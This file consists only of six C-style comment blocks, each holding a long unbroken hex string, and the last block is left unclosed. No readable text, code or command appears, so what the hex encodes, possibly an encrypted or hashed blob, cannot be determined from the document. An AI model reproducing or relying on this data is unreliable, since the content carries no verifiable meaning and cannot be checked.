/*2873e24aa0386b2d1cf2196a7130f01dad7440e734dd130c639c4a2d5a2acf692f41b00b502d2cbd4619c8b7f30e8a4b1506ec11be6a46ddda3d95c4d12b5f004c643dcd0722edb11449ac0c8e30cae77b57bb03a958a3d3c6b40b719b19e09b6438326d8bd1a0ab18a3352dbe6e373a00f64b11b412bb67830e17cbda894e616aa5decc10994cad19277b74fe297489c4fc6783604c4078920f914aebe65bbdc5b9920eaa24429a8d6029e8f0406cd7546872fda8be0fb26fb2ccc93b96fbec4fe0b29ff690247b64f0ef2fe889e1ce560dd1c0b15ee4210877d6648347810ad25d008b9d359aaeb280a28a1d254715a5fdcd9cff6c21a7505cf45b46a8d1b859e506acf70f15470b1833189d14b0c64410e37d1866f222089df90be9113c4de351988ea1179ef514d14c3a4c7098292572842747a047848d0f45f89b9a120d28601b3bfd5c60d749fcfff717cf08fab4a62273e69ca64d29d172b746f80580b116eee5caf0bec822edc7477dd4bb590947b0f35ca46000cea9838602d46e52a8e7b2dccf3c64149e4eaf0d20121e701e1465b52a78f314ffb195a8005e65d0fe341b13340ef6b8ba4ebb0d1050b716a75cb50ca2759530817413a135bbfc9bd919552ce6dd4463a8f5c1db33262f99898382d344f317f62ea619574ca6972defb51a99e392312040b79d40425cf120b8433a5728034909310b3dd48f193493d8c29cdf8afeca971122a5902d9fc8b7ca41a55ec8d738c9c1e1cb4ac135e86745cf2ccc596997de80ddbd9782eba63061e8289e2eae837050e832820f43953e58cfa83a3d7f1e38a6f63c6964ddcc41eed1be51aa5ebba4eb234a44374907a64c14ac03c42b4a59a510c006f46bca91110d058ce6fad73c582dfa1748a2656ec319f7d16bc721122a44f4638e0f245ea8c37e67f5d00a85d80e07d4363949fff8d9a3c3f5bfcca1f7110f6d7f7cc92da3cf19fc44643c68a681590079cd6d2e4fd4edbaebbe573619ca5c2c1ba6cfc2be9d4a67ded66caebcaaf1e7db98f013eaa2b6e5980110ed85b5f6c89d5da29268845becee78e6e4dfb1bb5fafb475ed8ade2a302f22670c86f643c2481265b1b75b4941b132fd15ba263f703a285ca72ed1f9fe53e47ea1e445e06309d69f23f79eec0b99d7d6ba8f0d314a171eeec45ea8a21e19eb22f64051c908ed38c7eb0aaf64dc1738832941932aec07a11bc851b23afef62c9ca9588b6b6293a02e38153f26635d312da40d481389b8f2089a45b76bae37b51bd1ff10cb366e673f419502bd11dd4c1848fb3a67b01f9111cc47d05a2af54bc1d91e19e908eac017bbfd5fbcfa4c067c0d28e9f2b6038746cdba7719c4c8aa4f2fd4ed9eae2fc4053204af458289ae85b9f8d0762e58975701eca2f3a897d73afafed209e33ccda48bc8afd969d0cb10bda244d9ec72031a9d7ada053aa5b1cfbcf29b038f5ab302e9f2ba2de3246c6e8e60553b4238379ba22f77c0b658d3ee8caa74e684e402b6c46633c12da2442752a35d58a2e3e10ee8003995b0a893d5565795449c129eb1f86d32c898c751a622daba7f3863bfb178e6faa7eac14f80f56dd45d733def80a38e1ec48218195f29a167d6c0d180e10158dcde9effed76397de2cb89e94b62b16d0023bdb29fde952933b47828ff87bfd5da9daed9b917c7cd6481e499470650ad07ee83480e6b7b1c56e18bccdafd45de1d75f45ab593bd8dd6116304911366f9fc25ecc1b77ce54f660189b7f418447abcbf94f594a59287fe11609a6f3911a6992ae36853cde23713d5f19e4163a8d27fda35ecef757d49e41ee5ea1b0438246448880ef160beb14c03627a1252feff5d3d2987cc3d37008fa6f0e9334c07f94ed1f3fedda000c9e81ef5afdb655eb83cb4b5328144400035d605f53cb3ee6e90b88174b8c0c3cda38c92512beaa3c5a4bcbc4c9219ea07cafe7184ff11dbbf0c10a8f5c659de9ed19fe770141ca57890e55be72a027f2242168305ef1b797ddcc46cf8e5c81999d23445f1adfccfd4882fd9824e3b47f49d09a98f08b137bd57ba42620565d58c59c82ed01ece9a549980af6eb0d158594e1f03a6a9c0d9e8c3f0ce5b0eaa98656135c68da85826bd257b151b02580e1787856eb6298e62c44fbd1bea4a35f256a97a4072b5ff9e3b1b25d520b38b058adad7f0532bc06b13f95b93863ffa5957e3f1ad5593aa33e5c611fd3503277d754e6202a3ae43a20d13a2d3613fcdd8f7e8df4db1fdab3c528ed78264c539c8f5ce738c9a84c35174dcc8c6674a585b86c3e0fb6ade277c32b61818b56e8c6e1349542521fcf8cf39fdc31cb299921d1e79021460dc2da9c40ab63718e101860b34f5a30ac87fb78fb6c42771eea01dcc00361277b93b72fc5c896e1c92f71e333e79dd80a48885958269d4eb76415959bd83006a64e87d8cbe86f1231f593047dc15900a2ddb5916f2b26aa319f3575f852fa9347b359c0b3a40287599a02bc066ba55818d50594dfdb3388acb702d625a8e67a6ddb36b4f0a67af9daf0b9fef27f582cff9565814d5fbe48565c3085a9234f97156137b4d4e1cd91edb74a7173682f2ebc9a24abefda67aba87f91c0b29e2fbaf26c3f53e5c37b7338eaa9ce9075ffe041e1f7c82cdff39d776f1ed8540ac30a849622350c213c3a5fe2bf8b88436cdbbb601aef1c94095aadb1a9c21934a7cb98a659e8a9722968b16bbebc9d81300735dcd8bf6b70a5d052e1a4b9c56cce0be74951b5804e0e00af8c48f2b0e275b07946c403ebbbfe5af53491ad1cd06c0118ce8174eb8fa76956181de97e851c0992aa355*/
/*0e93c762ee85e5858af00be284e31417f55e1320228b6abec30e09f7fba2cd78048b71fb0208bbc3d7dc456d73b3cdee1b4fdf75555b9795393ef751586467b263497728b58c19a774f20c366b343001ab8e81bc9e35e4e4cc7ac47cda83497fbc1c8a45e97b889bb1851b0710d2d545e79bc5583542e4e236efb6b5c011137035310cbdf87513aefb5ceb62e9361c9d125e875e4b93601dc76a8e3a4c805323100c8ce3dc88a3585fb9a5de63031d7c121e5c2878be6c33204bdf26ead10ee93d4870a7480d22cac76e8178db91ac7deb75784281085c0d267c7df0bcbeb4a7c52c7e63fe23fb032ca32e945bb1bf2200ded10400a7c9fc9884ef2a4258b38db7007b00a4682af42aae0c10d4742c7427edb22c80df21764eaae633355b90745a655cb684dcdb7df0fd2428ee434525a2bb3f4fd221d5abcdb4373ca5e2488cdacd7fb594f9e70991a4f9e980ea193f23c8a1124bab1ef37028da81841dbc2e200c0eea2d31cf75c9d941034585cc141816de97e41fe7c9a51ccc739d0057fdd8cf8c7d5c90561c4d625d0fb5608ca64cead29edf88877862a1492edcdb76e669b7f70fe8882aafbc3cd08b648f1df6a97b376713d420bf2a3608f493dbe5648f64c69f44aec80047f473eb18a3a73f5793f1605213a3e8d3f70bccd2e64d3d7a122f4bf5a63fbc2442799fb9ae4012744f0b193f4ef1157eed794ef39e531b7b17171e604a9395684cebda8ea2bee52336d38ae40b0492210e00b48cd33021a62cfcf6cc58c5488e56fcff1fef36cf773902512e6ded9b1267224c6257628dcc45d72e58e8bbe713dee7e2b09733479adf583be97e4b554eb3abc521fd059c13c54c74be88a676092b822d5d3af84cf04af486d316362c1ceaa2e1570bbc74032f7d47ad16e66a15d0b211a89b678e75e528eb45bd851951acf4a9d220f7aba47e3ee54f8a8dee5a4239c32d8d63aa95caad55708277116ccea0b41b4b0df7cd6cdf0bc2eefe634cd4adf6d96bc313ec6d3bf1fcc02790628bb914f557a901ff0fde17e3e3f791fa14c779262466a2b4d64d4c9b267db132348ed16d96b1718730b54c390f895fc7b5874f8fd9330d0ed599dbdb0ffee52c74ef2419ec6746a63377a899516a71df73f599991dfe09ee754853a351fc3ab82932539bd9dbd341e2cc206198e079f4c6b8ee989e1b5fdcf8f7ee7f0de9e280edd53c58044ff35548dbe25498828627ee94e3ddd00decb72e40e014c6106b9bb210d4d751a265611fe37f1d9e1991ef7f7c865d655832e6429b470aebebc62b2b989bb616c352db7bbac7e811605777bf952ed30d22498cc6b144bc628b66e70c662e8b2e5998fd94d01a0e8052821bcbd91e7c24a7c2fc0acad4603bf377067aeba82b6044c3e1377eae8bbc5ce57f5e333330140374963ca2a7ff28a088910c06d4badc641b7eea9cdf68ed602c21fcecf309224870d4d59af0ddbf002d3d9412d408466650b389b5334cca0d8114c296e01d8fbb4758d4bfefa61d30c14fccdd2794615859b7f9ec076b8fd87b8d8dfc857d829be0efe2d8342100e3bf244bd3e625414ad04e9bf31db7f21c6141a33b9ed3ce2fc531e61aed06af74e7452d611d6f5b19914583963afdd9132e42131712746667053763567e0cc0345e37435773468edf624645e2825dc36b00ff5fa46b00de4d5a1d47cf86893e637413cdea3a400d8543c3608355396629ef22bab284047cc0d19fa0843b715f903073bb314f87c4cb14f9c4459b7bc28d9cdda1c6a3015d31b65c9b55b3c082fbe7558d86e772869d34200535bf884d74f02e9b48e8368e714bb730ea0799a1d81d6399c0c67db2d50319f914294dcce5b4af65b6fc286b1db6676c003e3a2e3b9f11ca5f136934ed5b16bed9caf56335a7bf3e2f6a4b8970c95e3be67238781d4622e123d563ed274a3f46f70c3abf10bf136041b8ea1efcb76e51f0f6c30df9ce446e7f24de5903a5d7d0cb26522283d0f704f03edc9172c27f9ed0f75709847cf3076a6896d8f0805b63132c430dd5bcba5e8511e32f7fea0a39e4ba2c05171bc4d42e86f1b80bc46ac5aaad7dd9a003c22a6b34aeaeb8d98a5ba87942c9deaaf7231e46bcf7ef01f2103ae87f8893b9534efd9c855bcf334efd1e7a7d3b5c5c1b2bd578a8eec9f022956459cfda59d86b6f22b88f5b475131d754587b2cbaa60e06eba80ae05e36cdfb57b21be7902ed559f7db2444a41497c3a0b4f911c6e19d5b0a92cbcf215f88bed392b8e44e0c7837862bf53115257aadd73badc4d14585511d38d77d1446c6d03d151d4d0b737f4e9ad7473111de4a3443b43c86496982ec8b3ddc638e66a03320589df841b04a6bd31edf6ed985611434bfae1e3f06460b9b40693d6e3c896e84569859afeeb132b017c9db69ba70681bcffcbd857e897f7eb935465ecc2930a4bbc63fff2031ade603b7951561e24ffec67bf885d5fbb0c90a1ebe4cd4077dcda488cc46976550d01349dfc288abc049fe944b42452c031e11c199c2fc07eba61c315b16728b8141001ebb446d7a544d4f4b33257fafc457b874edcadb8f10aead3ae53b45dd9f9c5c48faa236012b9d543814ad7231677ce36d42d9ef3a77868704a08004156a91de64d6df3fe8f9099a6ff88663ae5b6ddec48dbf7dd8a2e94d06888f6bdc1f24eb07e4ef50e7bb5719e6e9372345dfae6cd33755708fa8bf3307a1f22cf27344d303168dc56d4352ce9e126f1b1197c3063e7d8bc6c918418e737f54295e879959149c07b3aebed00c7af501778c1709fbbf6c479e056d3da615d5dfa8c0a38bdbea00b510*/
/*4b5d6b49c91a41d9b4cd18ad25111d4307fd42dd613a9604f71088093a7b27c8eca262c67e4711e11d88174b0208bf53129238dec8a04d244455821fe6bd174ad60d9c0c1d5f3902dd4a9d02137c20efc00fe041b91d642f9e34935037e568e5c5922df1199b2b5da69e95c0428a1df656894b5629c37ea4c1ab1fa7b18f0003b0ada1318d71a640dc78d4207d87cf1d8e781fec059a4f6e27cc708264e2b8990629f23a3602fe092599bb20d06bb7598ca494bb1ecc882836fa910e6e9117fd6e19050888e39512904f25ad712e4bb4fa6c1faec4e91201afb24602b2466c77aa3945ac52af986c5c073e5d43aa970ba8ceeab2b391d4cccce114f86bab634c27da1ea6a746715dfa953ad136ece0d706d00a02d107aef3bbf8fc1cceb3bb16311f4f6ce933c3f5e728170fed3aa17fada63df2469c838521f28fbc76dcfcfc5254b1c12020a9644f29f49a640fd23329e31c51ba623ec938066c26369cfaf13db531d80d8ace811826acd4b26893f7576bbd97b9857fbd9a19a66ad54d3d6b85a0e747455e0586095b36a9bf550b32d8590b32f5bb2e8c8707726a354c2f4879eccd3a14729d2465e6052d10bcb88a53d080b154feaa4afd1650f82e28acc28cdf8c6f048993888184d4f9feb482a2a8ec8f5799ac748b7299dd1e66c88298dfacdc1baa4f41849f016c66e4240dc96ed72c976e105ee022606c1a2c3dca615f0f53f6f2e933c10a075196cfbcb17cca04e043778d2abeff48b162e55c86fc98e08e08e2511ff2047fdc98bc2539c4fae1cab28b665446993602f2cd6accafbfb3b6cfbe1eb5907b14db77607dc8c3befc8af8d91c8ce0ec03b6ae1bee7b125e882ae7e3c3ac53334d6a70adcba1f60fc933a577cca3ac1f668ecb670c285e13276b8f969e0f8340d8eb9b3d8659f46c20c8c5e8413bb62407bc82018309964de106515ea00ef7f840ddc5d1fefbafce4c11ffdeebde4080b5c787d839669ad50815b675e1758878639e103236c8693049433efd886f0bd13eabf8a6adf7ba85f3b058fac6bb460ec08a13d222057ebd8c335819c53aa0240bd1c42f83c07d9d4538c9aa6443423ea27de157ecdf33740c096c4a6068bf00dbdf33735dce244d4a78f1ff1b58652b1cd918ca25492e8317cfb282efcdd9522702352ae4ad862a12a193cec06d9f47463bc6b912c5eaff741d30dba11e72d8c3d381c6580fdd97fa4fdf30dc1c6a45cbe3682fa715de879f6650a02249b1348d1e0737fc167009577277fb20fb5f63da1176f011847fcb7ffbba3b74ad33894206987738daec1a1dcc114adcc4a65af208da67e25daabe4ed1582204f28242f1f68d120d7a4b76be8429fa2badb236927d2c595e2c4f886e619afa7e00ecbe74ca522bcfde0a7d45b4be62267afbd0abd8babe00e6ded63133289a9183e60a69536d5cfbdbc0772a947fa5d4efc3f03765cf3059e9d1253fe00e5dd7219c93d36fabf71e3fd83a4fe5701bb195c62ec291c8d6b2aa497cb092af53e576ee4535c29ad0c29426b8c03f2c4b7b8d4177f362d0f1682c5ccfae051359bbfe66c80b175f8573507e7e78b85a35377e6e894ff3084fd00c22239c86d5fa7ec9167cec6adfb82fcb4ab63d3af444fc7b2368b1fcf3560e6ba6952d6cb0997388ec1d23c7eecb9c992d62e3516599555dcac22fcd0cdfe67d3bf081ba50c9fbff68a54cbcbabb41383ec0a39441eb18d4f82d82d9aad453fb012d0c57ccfcc8d82755fc66b209960a9bd889ec81440e15796a28b98363eb073dbc832ea5eeb08b2db51aee78b8e59b327b9a795c55402b060b7beb37d4e7d2ea414da41227610187957ed92335265be11d6bb6dbfa10831aa1dea0d8a108db140d70b6fa21f4991ce17c1197a733f438641804398b2e4150675aa522932154426503b1e0745d5b3af3329690647128fd7c744073370761b6905d0efd50ba9b1e55afcd8cfe8fed1fca28353f02575fd3d539a89156a1f8736c55dec9443ac7f499c789204e9bfdaa91f0cbf609de4fdbe27818d422c156952e5727932369caeece5e7f4467ffda04ee6ee2da547f714c4c2a4a6374878116c5f3893f9d8d9589d0687dbade133818b2e7b0f78f87ecbf7b94e5d09c29feb6b66ccf5a4bf6c5a801a6f2f4c2ed71b803896b6b0dcccbc842164098569503e44a5f6252a0831adcc083087569c94f06b97099ff9601ed61e93f071a390bd5a4608c31490addba1cbe82c378f178c87f9dd0c6f1373867af7cd281a5bbc73f22b2d23a059b81d21b56b120348f9cde596f6aa4a4ad95d598a6586aadba850d51ba70d03d5cafabe92c18d09868c7867878ff94d1ec434e54ccb5d615b9082aad4c5a26faa66e66eb349c17a836d69e7a7bed7e2f83f844e08a60d6de9b820d9d8beaff7b1d6feaeccc705811219c74bb3feaf90e8fc718f1366f78b5acd5a8832e38b3fc01b478c5bcd07fb4c8bea6da2df6ad8378ca5f0263eaa6e0d3e2ebc1e4a8d31f0cff6da64106584f42dd8ba2d631946d2d88f90d909ecb34288378607b0671188691783d8d205dbd3731084de418002f1f129c1dabcffe1214f05b313b162287f304f5b616dc1403aa533f7df3b10a1060edf9cd7fa1b3a1421fb5593ebdac4203f00eabe7f037b08fc9711661a2324d054d610b4ba1bb3265f3ad04fdbf70dcb37f0b71653343880b81ee017f9e36f3f115d91b231481e7081b3c8b15b9ea56568d7922cc6563124823d3d1f07345d673dd4b7be459793fbbf8151e211b886d90d73ea1641928589d977935ba8409112fcf9f0002cc515e506a2250f33d41f2a0ba2744*/
/*fa01d297e5bae04377c15bd9c0190d7eda3c439db0977cd6f6c19bed86128b21395bb2a793e925a9a65c9b8d5822cdca68b015e3f1fe608cd2b410c5f4c56bb35789fa237f52c85d06edd84867389338fa95757150e1be539ed1bd987e7b6b5a674d636610e1e34c949c7a93e8bb99e7578dacda4aceda7328f7b3b4aba503abd28ac4d78131cc7bff82b3a920d9d3cc7a5d1364a1dadcacaf2b55da91aa2056d75aa5ec8ef7cdf19df05d2d907288aff9ecf324b52582cc5ed6517349ebfe690cde27b28078a6c4c527ce88cdec0bb9f34c73250559ecbe80ea5b82359132f7a7ee05618809ae4abe98d9cc4f22dcaaf8c97e8e848b5ab8960fbada0d5cf9f4241d4c2080f6af52634625bd6c5a22106e5b33cb6bf3a0e102ec71e117079a7b18da09b291faace217b31b0d294e6a21692949a1908d4eb04c7d8e011e3df1dd7282dd78155c13f0ede8b346c2036bc201dafec90b42391a4db4dcb99758801d227169061b07299fde9b159e3973cbcd9678297b074e0043eabdd50a7ace73d822b7667c268e14a10323f845b3c1ff301c8afc5e91ffd7d35869cc39c00bddce2921ed106b40fac29eebf6f89cf68d01ae0fa77e9f90d695fa76af00ef857c3c2487d4c5abb85f9bb4c2647b9d68ea6641f01e5d5ccc2d04de5b8cc8b65bca24cc8608772c1a80526e7eaf772f079f04a5226a7d4345ad72834ec2c6c6bb7654d04e0004b021264d3519bb6e842986b1963eb2726bec7b8d616d85d50b8ba4f96dd6a6b972de5c5f584f7b9027fe96a86a45034aed3dc1c24a54c880a582d9749a084d9c47812bebc5ace9d101d530abb33d916c57347b1ba6cdffd61074c30bdf0292c173e889f578f3a67382f771906906b9def46634408b66bbe59a4bce46920762fbc5517a6cdee418f14c2fadd37670be3ffe7a84b4e3217c286155e99362a0da54f87b77c627224681abf0db35f29c9bcad7813ec3834d02da90fac96cfb63598c513a90e70e54801247f92d28231beaf12a3581187ecff8ee1384214edd325938ee8e3d40cbe52a1a65ef97e92bed44e9b436fdf02c657b6a82bb3c43d0840d1dc3122f35dfd45ee704d2385b3c36acc68369fe7970dc8bbb7d364b8c8f1ca1f77ee8b9e734509e1f94c89893b446edf17a02fb1d1183c1be39b1f89dd28d0f5fec9286cbfaf5ff7d59d730d8da4832459548bb85d1468ade464cd7d01c15d8147916d3bfcb4cc35f154624d02cb03ddddec9a24e163ce3f001f794cf5b39707f2e70fe617afa0ba8a26c447e210bfab717c19d278e31db09125d86a6056732beaf0f296e80fbd87c2555442541ac506aeb18993b6fed013abf60dd153493b189e337f41ba9ee1b7fe682ef0502b64b2f2854da1a7c6f79e6fd35a3cd726f502f25c901480b3a946ec35d1fbd4ef09f8007b4d9a8d362c9327b2a1759b4873bbd09f3e64c3aede02c7786cacf713487f94710831fdefa0aba5ff27129ca76c10ba2d175a3958e5852deda2ce0589e7a92c74354a80fb5e70e5d1f42b4e5ea44c4c3e833a50a7a49c041f161db393d0a9094aed798acd3d0787a75a0c7f773a6a5703fc179c48f0d4c0f05a229f6a35017fc42ffa6eefa7681582b7f66bd112140494b0b8e01f2b9958deb9c17508ed7f76080c12bb34188ea7deacfa41fcb76c7bddf52cf008d22671fc88d1d0fc1a086ee5d97aeb860fed96168bfc145d956eabefad2d3a5f3f9951cb1ac700210d8ca1df2988417fd87d3ccdc6b6739db3b70624661f4280a609e5f3177c007da463ff10cda8c6f1d43a6c7b3f288ec27b904aeed854e5e8fc298d68e0b7fb07317f37e43db94d508ef91d1898d79133b23e36cf2f35620a8375d59fc44e73452d675d975370132a373e13e45212992385164b59eb6aa633f269dd36f0bf67f3012e4834825b27d0251949b54d5192921259cf9a3c402d48dde2e5486a6afdea6abf60332235d225d809c8c8d47d3930aa1035018b7dd65d314c61d040e5ed37b62c375844f2096cdc8e2836e9ec5faaef9d0d69d37146aba14cca1a325cbb2a3dbb02819831d6f7041931343664205ae2233696150c49685b9a97df0ce75c2619e753f757aa5322220dc3bee38c504f1e677546a7db5ac0067bbb26ae24cb3b1486cb3d1e5078c2a5c9c155aa7c45092a2431841b5ed336fbf1a14697396cbc62b28de6c66249f24d5a724116655f7a7fd44a92ba045a099f1a1cb6d05a99fe222de5312f1941744ee2b670d4d4c08629a2937364141ccf486c16f7a93c1f7dc19f75f7878984df36b74f707e8400b6fcd8982d5e223f21583be3055bbe47ac0cdf8f54affce58f504de766f92bb39678a1b4a6e0caade562b7859f728358c5073e20bf3dff98bdc08ffaacf2c3aca3b88eabb598c79bc6370fa3541444fb27460672a135aae8d96c3c01a15b2d15112b2ef982bff5e720ea5180d1823dab83bd364244f0c6f9f2c0d0061cfa024be2bb110426530a6742d6c97c8bcda67e974f2e3a167c4b5c0708427bdbd7c728f33e21c41b83f0a2bead9c3290b9d0671a8d5e7df637fc2c1571bf1b21f84eca46e497aca71dc6195aa6a00130bcfde3a023a105bc932d50cd29fc537e722d442fc0de287d870994b0f7cc65c4c6f24244554a06748107c82fba8a69405ff8a0016b34bb0a990adb71bcc16c81aeb51cf8ea4f9c3e3a7f0bfc5508b20f6ecffe2174012d829bf562542be38e678cac73eb6563a83d3e8233615ee9f452cac8298362cddb9b40a6f4405d7d450b63bd7a0589ad6d8e2d2cf91c749878733af67edaaccb08e33d498f75c28005f6a8bd1*/
/*0445656ef5a871c4040e925b581a808463ae369838b39a1312fb784af5b9a53b7b5ba2e3151931688cca5fc7db2b3c01fb88f3e752da42f17f51818c9a67a4ecd10bb64fafd09f8d81739030ab531ec3d95903a1ab3c6312f5b940bb26485c59c9ed5bca0618e44c2e1966e914e1acce9ec6670a723664c8ef8a4ff4835c268d10a0e294315db549f2873c444ae7de53e23a86d7632c1c52518c0a0dac02ef43cce22ed90d2c731b28c42aa8119e8b88106298ea39b8d07b83623c8a372a0ec5f9a3313a097f64828caee1c13f19755a5aeed3e4c52763f384e06959aad4c36ecd6bb6a6f6e5255afa1601740492fce45f60b107d9bb1d36d61c3dc78dd43c54862d931620da8009e09b2375c61fb48ae22f360b8bac6c7a194a4e83d17bad74093ad91a18b345dc7278ba3a61ab03a7ba21a8ff37d6283e2aa4eefc43852e60d44bd5acc86d09782ee0f90e304846854a9875f2b9eb0aa47c76ccd4381e5e7b98323a6dd750282105dc2a310b66b106ad9426a0420728149074693d42d32a2a0acba840f858d123f9c48bd3589d3ea7d25d4f29615c24a5c0bf27d4a665a1363655954a7ceed1c2d216a7a659716471b14f2759a5ca104b64815480cfde3e80c7c757a19c69e5763f3eca381f4a17bc00c7bb0e90cc5e15dfdf71c4788c54ee53220ad9dcc9e3123ff977d1406e83cb3dfb28bb2f59b88eef48d1e1dc05f62541e6f2a17562abd06a9a8c7c2ca4b6100c344f7ae5df63f3fce1726e1398e985208b6a55ad06de27fdc0bb9e6cc8ca3e078ef4eb13da8edd845efb749e324931623c424a5d6a8819d46a67b623eff734dabfc107d0063dccf5c5dde74fce57b12ac8d8b2f69eafbf8211ae6c7fae3b8a7e97bc43770d25379fee5655441ebfb5a328ca85a396c86ca60a3a0acb94045b4fcfbf93b69c0b65f5da96cde90d1f212eec739a9d7ff038df7ceb4067d6e1f5d6da4ed7197d85f62479cf4936fb5ee5f1bccdbdac747d2dd3dd315765ab73261d525fcd062bc2f0ec12f76deeef78828de8e1e243ef1ed37a50a4fde77465a7124e949b735ccb010aa033ed0fd61d595299d675bfdc7552227a0e2923f2aeb3de6f524fbbdd96e6cedf84d25eaeb2c9c1e73a0d712e34eff13b8d6b74e5b2212215cf5aa0c611188c76ea06a40b78bd57ebc81055b5931ee3c3e3d7a2e14048783a9ff071f6fe70f5ef46990b80e8b809fba749e3ffc5b5008c892dbb374b956756cf7fd2bedfe61b7198d8c01b50376a5fe2fdf4fd546d6057e53ca2a3f8323875e866276f330c8696f3d092f081b8633860539f7721b571a80e17a8b9680d906e8bd4626b046a2d9ba2d3f668375e0eff47200c34b086be2b47746223d4cc41750d41de69a544dcaf2c00fe07c4fcddf7c5ca3624adc632516a2962d83228c7773576e29f65e186aa8039a977fe51a99bcf7e74077be8fcb27c6941490ebd65ffff8d61f8b7ca4d9edc0b5ced08123c3c55cb73d0adf900921df5885308981084228b63e471a53c36ae2a857262474720fb8c324aa5ec942a8068c27bceedb9b5a7314dca4a2c4cd9cd046a3f6e718b9de1ecedf17a5030e3d53ca5359b2752d4558f3ec34fb65a0d52f1e47361141d9bef007e62b8a22a76c9140516c24fafb560e2b9b07952e085051ae3380b444008723feefcd80dcbcfff3b72ac7d0c10960f00b33b615d1d467979882e42ab4e0e020cd7562e80589897a489ea0afbbd697b5f75b4887f31e92f4e66b76093c7614ea73977624ed7cb7075ff5266d56fe7e7b2f475ef6c634b7fe975c7c516506cf399f8adf94114acb3ae70960168f4494b8b39419ae26de187577c381229a50d0562e1316e7ea871bd7e3688868d1df326d70d50005b0b64c9fa65ae248a797dc97e8bf2ec710131d60fd248e7c416a434ab7115eb9343decb4ec793c384486932bf175bfe43f2ac651f273bee2bf3c8524e0ecbf01fc9225ddd57cd91c0fa90cfafa7bc7d884c4064a359208f4a7e1ae04bb70e57aedcdacdb7ca7860dda81f1310e0e41440347e2c75e2cf87d12ad8f42f2fa1080bfd049b1d8452132619502b6d9af1e4e8b5c8048fc53098e432d0ab2654c7285f120ffecc6f17b5e702a3c7abda59ff01dcea90965e2fb17314c5c7a897bb98a3cfcc4eec9133e74ac459dfb229fa5c98b79576821410a2bef44870c3509c6a88e35171f6246a04db5785c1d53163492e4b23135d7b5d6bbc3b6a5544425a8833688f45ecac33ce8a31b94d55b4fd587bb5957bda475c13752d82a2e95527d2b80e500f7587b5d364973b5bf1c0cdb009ce39d7637d55bddb7ac7f095db19f3f52c98fff9be20a3b127c5342f1b898eb05755fffbbfac0bf6dc1025310043aa9094e8a865d4406b1f2707078cdedf33a02ad4337c10afcb929f69f71fda378e38d569eb57480b5343b7f74bd077e9f2efecd0181ad3c15fb7cabee663a30f58e7de0e112fa417459075aa5641291568dd529a9fdb6f5a3c9e646258e48312451feeef3c0ce6f0765e150cca1017536ec7ef2b77fa73aafcc1844036b25b4bf91ac0201f06b34e111d508f26747bed59b6408df251b460989355890e4727a9556ecc8e273c33483517c30fc605aa935c360cfc8a0275f433d874a6d4e291e4a0f3ea3c40649df813f3ac8dd7f9af4be491ac7bd7c39ebc588294557df60cbd798edf7650b15ffed3a00e428e93fec3af0b8e90bf43f742fbab9c496f2161808cb75902cd57a7280a3e3f74a1561e3ebd1c7a33811858d508d4b7aeaec0c64749c498b7af52c12081702834f4b82e36659b8fc47b0ceb971f29*/
/*9777f40421ead860b1b5f8fa930eb3acdb74e963dd5b19ccbb5a210a883bac5e892ff6ae0a29aa1e97b9dc55e1d1c24defbec0fcefff1b3969e774b4d67a0480ade4dce317021a9a68e5b1502a8dc7596f3469dfc26cd851c46f184d4ee18398790a0df12ffd31ad11485d3fa6486e7bf35e1eb569b3119161562112768646d0a7cb76119d941dc3fdc81d990da6a0f5cd3cd5b253e53c005daf24ce653866fc2e5d4ed1f7509fb7c08797a0a2d96a0eb2e04130c3e90a08b449b011001d8e5414fdbd085e382c5942a907e2e82e559fdd075ff0269505dee902d11eff1e80d5230bb3dc7825da8e61c2ffb2d32731143550d7e9d5510d81d38d7677d0f2f9a6cc72784e0135c8e75160d9485dcd6b0f827a0b7b0f17f3750376327c25c90d59732b2c41662fdc36659b4f3baaae847bfce4ea5b4533826089cdb702b0a4e3eafb52ba4cb61c08649f2b584c292ae2269cd19f6fa0d823ec6e04c31bd9fc24500f8d63fc5b0cee7d4f71500a7739b8ffb353f69420f977fb6d93a71cf795f3e377c65cb82d3094eb4264d549d47b7c94450980129be8b495269f5d297ee038621a4938916592051fa7c2e1903c5c6a4f0045449b5fc1f3c5f22fb98df1eb83a2be32bc82249d76b9d329ce0869bd8b491beecd3d94478eac12e638e4a6c11d95b1b054008de6385d1dd11d90e4a176ac72ad55d7dd733f2e13849cbbc743a9fe5c24f49f467f4551be4eeb8ac85ffce5dd9ce66094277d8589b12454717d9c094b5a014e99283870dc2698adfb44cff65b32394a6777f4353d3f0df8eb8950fc168048093874f8b341f14f0f989a61de9afa3b6929c525b88d8c43d03c9342682f4ee93e6b8e2ef4726d42005e34ebff1b4344faae8dbc298b2d663a1332806299410f1734f5b627fe6a110a78f24d0c33ddaefc7e9137c8bf82af37be9b26bc80da6e039ac44b04093858bcc687d358606c1986bea4e4da0de563adaac85f1eb43b8be4049b874ca81d89a348ad8376393f9e31d3e5be0611e249b4ade99756ef5b625cc65e67df041095cf1a3c149883624ecf32ffba08fd6b451ac98522a6627de273c1bca1c2ac1304caa9f01bfd25ec071e6cb0959d0a4a976c060200afc81c6b4439853848f47b189e0d713d54a465143177a36aecb74313f65da593570186d0369c14ae6ff69de32d64199dbe82d2b107c30ba2c2ea470063d738759a475a02347a15a83274d31c838d79893245426c40f9ebc63e800ac2aad205c36078600846f7cf931cfacee6e2cd0c4a1398f522538a1e66e07620f163ea671917da6364a971f5e56ff9066310a412e018830e849e21e61fa0ceb74a01c50113da7d61c15ca3b0f3442144ea33b79a7ca0d841821486fa355efa1afbcd53aec1254b7afe28977b633749a1cf79649c2b9555bc41d2fb306953bbf942b0661d58cee82d9f7d5847434636d8866d11c31ffdb4f18c76159ba84b69854d34757160431ae54c98c6d5591302eeffc9a82f9fb5b21080ffed8a1143391bbb4b0fea07dbfea3284404c6d223152bfd1d83d70bdd3f0bd385f1b83646217b2e3051dc2467941d0e0e078a8f114590b2535c38f5434157382809bd7d0af3d1b9462c9d49c03c4f4daef0e69c16969d1ef717d799a461f15ce2aa3f4a852074e924405eb7c888d4ea6d992befeceaafffaf755a0d5d1632f889b9fd504b8b517418e1f6078cdd6339d2cbb865d0c1415235612603d9e982d2ec60503ee7150b460f72aa3ddab3c1acb6ac81b2a66d48c0bf7a1f892e0ad118fef5b571497f4933662566c3a94450fc90c1525e9e7a9f91e758f167b72e8e2d53e89d586d5d9b623b4673a776cfbc20800c2b3abae9cf77eef4aad688e0285893ac36e75b48dda37f9a73ccd977230f4917f48b7f9e7575367e64e3923936e35244f351990abe4e4d757eab2e81a98e829e2c9050105c31939566c3c5b48381ce648133223ab297866281480ee285ad9aa6981a4dbe297c413c1fdac6e809c71674740bcf9645de336194a8530471a50a2063568